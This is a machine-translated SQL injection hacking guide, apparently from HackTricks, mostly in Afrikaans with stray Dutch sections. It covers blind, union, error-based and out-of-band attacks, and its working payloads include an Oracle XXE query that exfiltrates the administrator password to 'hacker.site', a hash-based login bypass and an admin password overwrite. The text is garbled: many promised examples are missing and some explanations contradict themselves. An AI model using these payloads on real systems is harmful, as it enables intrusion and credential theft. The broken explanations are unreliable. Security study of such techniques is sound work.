<summary><strong>Leer AWS-hacking van nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante cybersecurity-gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en cybersecurity-professionals in elke dissipline.
'n **SQL-injeksie** is 'n sekuriteitsgebrek wat aanvallers in staat stel om **databasisnavrae te versteur** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om data te **sien**, **verander** of **verwyder** waarop hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan verkry. Sulke aksies kan lei tot permanente veranderinge aan die funksionaliteit of inhoud van die toepassing, of selfs die kompromittering van die bediener of ontkenning van diens.
Wanneer 'n webwerf lyk asof dit **kwesbaar is vir SQL-injeksie (SQLi)** as gevolg van ongewone bedienerreaksies op SQLi-verwante insette, is die **eerste stap** om te verstaan hoe om **data in die navraag in te spuit sonder om dit te ontwrig**. Dit vereis die identifisering van die metode om effektief **uit die huidige konteks te ontsnap**.
Dan moet jy weet hoe om die navraag te **herstel sodat daar geen foute is nie**. Om die navraag te herstel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net **jou data invoer en 'n kommentaar simbool by die einde voeg**.
_Merk op dat as jy foutboodskappe kan sien of jy verskille kan opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
'n Betroubare metode om 'n SQL-injeksie kwesbaarheid te bevestig, behels die uitvoering van 'n **logiese operasie** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud lewer wanneer dit gewysig word na `?username=Peter' or '1'='1`, dui op 'n SQL-injeksie kwesbaarheid.
Op dieselfde manier dien die toepassing van **wiskundige operasies** as 'n effektiewe bevestigingstegniek. Byvoorbeeld, as die toegang tot `?id=1` en `?id=2-1` dieselfde resultaat oplewer, dui dit op 'n SQL-injeksie.
In sommige gevalle sal jy **nie enige verandering** op die bladsy wat jy toets, opmerk nie. Daarom is 'n goeie manier om **blinde SQL-injeksies te ontdek** om die databasis aksies te laat uitvoer wat 'n **impak op die tyd** sal hê wat die bladsy neem om te laai.\
Daarom gaan ons die SQL-navraag kombineer met 'n operasie wat baie tyd sal neem om te voltooi:
In sommige gevalle sal die **slaapfunksies nie toegelaat word** nie. In plaas daarvan kan jy die navraag **komplekse operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke sal afsonderlik op elke tegnologie bespreek word (indien van toepassing)_.
Die beste manier om die agterkant te identifiseer, is om funksies van die verskillende agterkante uit te voer. Jy kan die _**slaap**_**funksies** van die vorige afdeling gebruik of hierdie (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
As jy die uitset van die navraag kan sien, is dit die beste manier om dit te benut.\
Eerstens moet ons die **aantal****kolomme** vind wat die **oorspronklike navraag** teruggee. Dit is omdat **beide navrae dieselfde aantal kolomme moet teruggee**.\
Twee metodes word tipies gebruik vir hierdie doel:
Om die aantal kolomme in 'n navraag te bepaal, pas jy die aantal wat in die **ORDER BY** of **GROUP BY** klousules gebruik word, inkrementeel aan totdat 'n valse antwoord ontvang word. Ten spyte van die onderskeie funksionaliteite van **GROUP BY** en **ORDER BY** binne SQL, kan beide identies gebruik word om die aantal kolomme van die navraag te bepaal.
_Jy moet `null`waardes gebruik, aangesien die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en `null` geldig is in elke geval._
Wanneer die uitset van 'n navraag sigbaar is, maar 'n unie-gebaseerde injeksie onbereikbaar lyk, dui dit op die teenwoordigheid van 'n **versteekte unie-gebaseerde injeksie**. Hierdie scenario lei dikwels tot 'n blinde injeksie situasie. Om 'n blinde injeksie te omskep na 'n unie-gebaseerde een, moet die uitvoeringsnavraag op die agterkant bepaal word.
Dit kan bereik word deur die gebruik van blinde injeksie tegnieke saam met die verstek tabelle spesifiek vir jou teiken Databasisbestuurstelsel (DBMS). Vir 'n beter begrip van hierdie verstek tabelle, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
Sodra die navraag onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike navraag veilig te sluit. Daarna word 'n unie-navraag by jou payload gevoeg, wat die uitbuiting van die nuut toeganklike unie-gebaseerde injeksie fasiliteer.
Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
As jy om een of ander rede **nie** die **uitset** van die **navraag** kan sien nie, maar jy kan die foutboodskappe sien, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **uitlek**.\
Deur 'n soortgelyke vloei as in die Unie-Gebaseerde uitbuiting te volg, kan jy die databasis dump.
In hierdie geval kan jy nie die resultate van die navraag of die foute sien nie, maar jy kan **onderskei** wanneer die navraag 'n **waar** of 'n **vals** antwoord **teruggee** omdat daar verskillende inhoud op die bladsy is.\
In hierdie geval kan jy hierdie gedrag misbruik om die databasis karakter vir karakter te dump:
Dit is dieselfde geval as voorheen, maar in plaas daarvan om te onderskei tussen 'n ware/vals reaksie van die navraag, kan jy onderskei tussen 'n fout in die SQL-navraag of nie (miskien omdat die HTTP-bediener afkraak). Daarom kan jy in hierdie geval elke keer 'n SQL-fout afdwing as jy die karakter korrek raai:
In hierdie geval is daar geen manier om die respons van die navraag te onderskei op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy langer laat neem om te laai as die gerade karakter korrek is. Ons het hierdie tegniek al voorheen gesien om 'n SQLi kwesbaarheid te bevestig.
Jy kan gestapelde navrae gebruik om **meervoudige navrae agtereen uit te voer**. Let daarop dat terwyl die volgende navrae uitgevoer word, die **resultate nie aan die toepassing teruggegee word nie**. Hierdie tegniek is dus hoofsaaklik van nut in verband met **blinde kwesbaarhede** waar jy 'n tweede navraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout, of tydvertraging te veroorsaak.
As **geen ander** uitbuitingsmetode **gewerk** het nie, kan jy probeer om die **databasis die inligting na 'n eksterne gasheer** te laat uitlek wat deur jou beheer word. Byvoorbeeld, deur DNS-navrae:
XXE (External Entity Injection) is 'n aanvalstegniek wat gebruik word om 'n webtoepassing te misbruik deur kwaadwillige entiteite in te spuit in 'n XML-verwerker. Hierdie aanvalstegniek kan gebruik word om out-of-band data-uitvoer te bewerkstellig deur die gebruik van 'n eksterne entiteit wat verwys na 'n eksterne bron, soos 'n HTTP-vervraag of 'n DNS-aanvraag.
1. Identifiseer 'n kwesbare punt in die teikenwebtoepassing waar XXE kan plaasvind.
2. Bou 'n kwaadwillige XML-aanvraag wat 'n eksterne entiteit insluit wat verwys na 'n eksterne bron.
3. Stuur die kwaadwillige aanvraag na die teikenwebtoepassing.
4. As die aanval suksesvol is, sal die teikenwebtoepassing die eksterne entiteit verwerk en 'n uitgaande verbinding maak na die eksterne bron.
5. Die uitgaande verbinding kan gebruik word om data uit te voer na 'n beheerde bediener wat deur die aanvaller gekontroleer word.
6. Die aanvaller kan die uitgevoerde data gebruik om sensitiewe inligting te verkry of verdere aanvalle uit te voer.
Dit is belangrik om te verstaan dat XXE-aanvalle slegs suksesvol sal wees as die teikenwebtoepassing kwesbaar is vir eksterne entiteitinspuiting. Dit is dus noodsaaklik om die toepassing te toets en te verifieer voordat 'n XXE-aanval uitgevoer word.
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Ons het reeds al die maniere bespreek om 'n SQL-injeksie kwesbaarheid te benut. Vind nog 'n paar truuks wat afhang van die databasetegnologie in hierdie boek:
Of jy sal **baie truuks vind met betrekking tot: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
Hierdie navraag toon 'n kwesbaarheid wanneer MD5 gebruik word met true vir rof uitset in verifikasie kontroles, wat die stelsel vatbaar maak vir SQL-injeksie. Aanvallers kan dit uitbuit deur insette te skep wat, wanneer gehash word, onverwagte SQL-opdragdele produseer, wat lei tot ongemagtigde toegang.
Hierdie tegniek maak gebruik van 'n SQL-injeksie-aanval om die hashtegniese verifikasie van 'n gebruiker te omseil. Dit kan gebruik word om toegang te verkry tot 'n toepassing sonder die regte verifikasieproses te deurloop.
1. Identifiseer die invoerveld waarin die gebruiker se hashtegniese waarde gestoor word.
2. Voer 'n SQL-injeksie-aanval uit deur die invoerveld te manipuleer.
3. Verander die waarde van die hashtegniese waarde in 'n bekende waarde, soos 'n leë string of 'n bekende hashtegniese waarde.
4. Die toepassing sal die ingevoerde waarde vergelyk met die waarde in die databasis en as dit ooreenstem, sal dit die gebruiker as geldig beskou en toegang verleen.
#### Voorbeeld
As ons 'n toepassing het wat die gebruiker se hashtegniese waarde in 'n veld genaamd `password` stoor, kan ons die volgende SQL-injeksie-aanval uitvoer:
Die toepassing sal die waarde van die hashtegniese waarde vergelyk met die leë string of die waarde `'1'='1'`, wat altyd waar sal wees. As gevolg hiervan sal die toepassing die gebruiker as geldig beskou en toegang verleen sonder die regte verifikasieproses te deurloop.
Om hierdie tipe aanvalle te voorkom, moet die toepassing behoorlike invoerverifikasie en parameterisering implementeer. Dit sluit in die gebruik van voorbereide verklarings of parametervervanging om die risiko van SQL-injeksie te verminder.
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
'n Poliglot-injeksie, ook bekend as 'n multikonteks-injeksie, is 'n tegniek wat gebruik word in SQL-injeksie om 'n enkele injeksie-aanval te skep wat in verskillende databasisplatforms kan werk. Dit maak gebruik van die verskillende sintaksis en funksies van verskillende databasisplatforms om 'n aanval te skep wat suksesvol kan wees in meerdere omgewings.
Hierdie tegniek is baie kragtig omdat dit die aanvaller in staat stel om 'n enkele injeksie-aanval te skep wat kan werk op verskillende databasisplatforms, soos MySQL, SQL Server, Oracle, ensovoorts. Dit beteken dat die aanvaller slegs een aanval hoef te skep en dit kan gebruik om verskeie doelwitte aan te val sonder om verskillende aanvalskodes vir elke databasisplatform te skep.
Om 'n poliglot-injeksie-aanval te skep, moet die aanvaller die verskillende sintaksis en funksies van die teiken databasisplatforms verstaan. Dit vereis 'n goeie begrip van die verskillende databasisplatforms en hul spesifieke kenmerke. Die aanvaller moet ook die nodige kennis hê om die aanvalskode te skep wat in al hierdie omgewings kan werk.
'n Poliglot-injeksie-aanval kan gebruik word om verskeie aksies uit te voer, soos die verkryging van gevoelige inligting, die manipulasie van databasisrekords, die uitvoering van skadelike opdragte, ensovoorts. Dit is 'n baie gevaarlike tegniek wat deur aanvallers gebruik kan word om groot skade aan te rig aan 'n teikenstelsel.
Dit is belangrik vir ontwikkelaars en beveiligingspersoneel om bewus te wees van die moontlikheid van poliglot-injeksie en om toepaslike maatreëls te tref om dit te voorkom. Dit sluit in die gebruik van parameterisering, die korrekte hantering van gebruikersinsette, die gebruik van voorafbereide verklarings, ensovoorts. Deur hierdie maatreëls te implementeer, kan die risiko van poliglot-injeksie-aanvalle verminder word.
Om dit te doen, moet jy probeer om **'n nuwe objek te skep wat genoem word as die "meester objek"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
* Skep 'n gebruiker genaamd: **AdMIn** (hoofletters & kleinletters)
* Skep 'n gebruiker genaamd: **admin=**
* **SQL Truncation Aanval** (wanneer daar 'n soort **lengtebeperking** in die gebruikersnaam of e-pos is) --> Skep 'n gebruiker met die naam: **admin \[baie spasies] a**
As die databasis kwesbaar is en die maksimum aantal karakters vir die gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** voorstel, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
Die databasis sal **nagaan** of die ingevoerde **gebruikersnaam****bestaan** binne die databasis. As **nie**, sal dit die **gebruikersnaam sny** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spasies]_") en dan sal dit outomaties al die spasies aan die einde verwyder en die gebruiker "**admin**" met die **nuwe wagwoord** opdateer (daar kan 'n fout voorkom, maar dit beteken nie dat dit nie gewerk het nie).
Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds standaard agterste spasies ignoreer, sal 'n poging om 'n string in te voeg wat langer is as die lengte van 'n veld, 'n fout veroorsaak en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole, besoek: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
Die `OP DUBBELE SLEUTEL BYWERK`-klousule in MySQL word gebruik om aksies vir die databasis te spesifiseer wanneer 'n poging aangewend word om 'n ry in te voeg wat sou lei tot 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLEUTEL. Die volgende voorbeeld demonstreer hoe hierdie funksie gebruik kan word om die wagwoord van 'n administrateur-rekening te wysig:
'n Inspuitingslading kan so saamgestel word, waar twee rye in die `gebruikers`-tabel probeer word in te voeg. Die eerste ry is 'n afleidingsmaneuver, en die tweede ry mik op 'n bestaande administrateur se e-pos met die doel om die wagwoord te wysig:
- Die navraag probeer om twee rye in te voeg: een vir `generic_user@example.com` en 'n ander vir `admin_generic@example.com`.
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` klousule geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry na "bcrypt_hash_of_newpassword" op te dateer.
- Gevolglik kan verifikasie dan probeer word deur gebruik te maak van `admin_generic@example.com` met die wagwoord wat ooreenstem met die bcrypt-hash ("bcrypt_hash_of_newpassword" verteenwoordig die bcrypt-hash van die nuwe wagwoord, wat vervang moet word met die werklike hash van die gewenste wagwoord).
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteit geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitprofessionals in elke dissipline.
Gerouteerde SQL-injectie is 'n situasie waar die invoegbare navraag nie die een is wat uitset gee nie, maar die uitset van die invoegbare navraag gaan na die navraag wat uitset gee. ([Vanaf Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
# Geen Spasie - omseil deur gebruik te maak van kommentaar
In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door een webtoepassing die geen spaties toestaat in de invoer. Gelukkig is er een techniek genaamd "gebruik van commentaar" die kan worden gebruikt om deze beperking te omzeilen.
## Techniek
De techniek is gebaseerd op het feit dat SQL-commentaar wordt genegeerd door de database-engine. Door gebruik te maken van commentaar kunnen we spaties vervangen zonder de functionaliteit van de SQL-query te beïnvloeden.
Om deze techniek toe te passen, kunnen we de volgende stappen volgen:
1. Identificeer een SQL-injectiepunt in de webtoepassing.
2. Vervang spaties door SQL-commentaar (/* */).
3. Voer de aangepaste SQL-injectie-invoer uit.
Hier is een voorbeeld van hoe deze techniek kan worden toegepast:
Originele SQL-query:
```
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhankelijk is van de specifieke implementatie van de webtoepassing en de database-engine. Het is daarom essentieel om deze techniek te testen en te valideren voordat deze in een echte aanval wordt gebruikt.
In sommige gevallen kan het voorkom dat een SQL-injectieaanval wordt geblokkeerd door het gebruik van spaties in de payload. Een mogelijke manier om deze beperking te omzeilen, is door gebruik te maken van haakjes.
Door haakjes toe te voegen rond de voorwaarde die we willen injecteren, kunnen we de SQL-query laten werken zonder spaties. Dit komt doordat de haakjes fungeren als een groeperingselement en de syntaxis van de query behouden, zelfs zonder spaties.
Het is belangrijk op te merken dat deze techniek niet altijd werkt, omdat het afhangt van de specifieke implementatie van de SQL-parser. Het is altijd raadzaam om verschillende technieken uit te proberen en de reactie van de applicatie te observeren om de meest effectieve methode te bepalen.
### Swartlys gebruik sleutelwoorde nie hooflettergevoelig nie - omseil deur 'n ekwivalente operator te gebruik
As jy te doen het met 'n swartlys wat gebruik maak van sleutelwoorde wat nie hooflettergevoelig is nie, kan jy dit omseil deur 'n ekwivalente operator te gebruik. Hierdie tegniek maak gebruik van die feit dat die swartlys slegs spesifieke sleutelwoorde uitsluit, maar nie ekwivalente uitdrukkings wat dieselfde betekenis het nie.
Byvoorbeeld, as die swartlys die sleutelwoord "admin" uitsluit, kan jy die ekwivalente uitdrukking "AdMiN" gebruik om die beperking te omseil. Dit is omdat die swartlys nie hooflettergevoelig is nie en dus nie die ekwivalente uitdrukking sal herken nie.
Hier is 'n voorbeeld van hoe jy hierdie tegniek kan toepas:
```sql
SELECT * FROM users WHERE username = 'AdMiN' AND password = 'password'
```
Deur die ekwivalente uitdrukking te gebruik, kan jy die swartlys omseil en toegang verkry tot die beoogde funksionaliteit of data. Dit is egter belangrik om te onthou dat hierdie tegniek slegs werk as die swartlys nie hooflettergevoelig is nie.
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in die [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
Eerst en vooral, let daarop dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde hoeveelheid kolomme het**, kan jy eenvoudig doen: `0 UNION SELECT * FROM flag`
Dit is moontlik om **toegang tot die derde kolom van 'n tabel te verkry sonder om sy naam te gebruik** deur 'n navraag soos die volgende te gebruik: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit so lyk:
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
<summary><strong>Leer AWS hakwerk van nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **kuberveiligheidsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.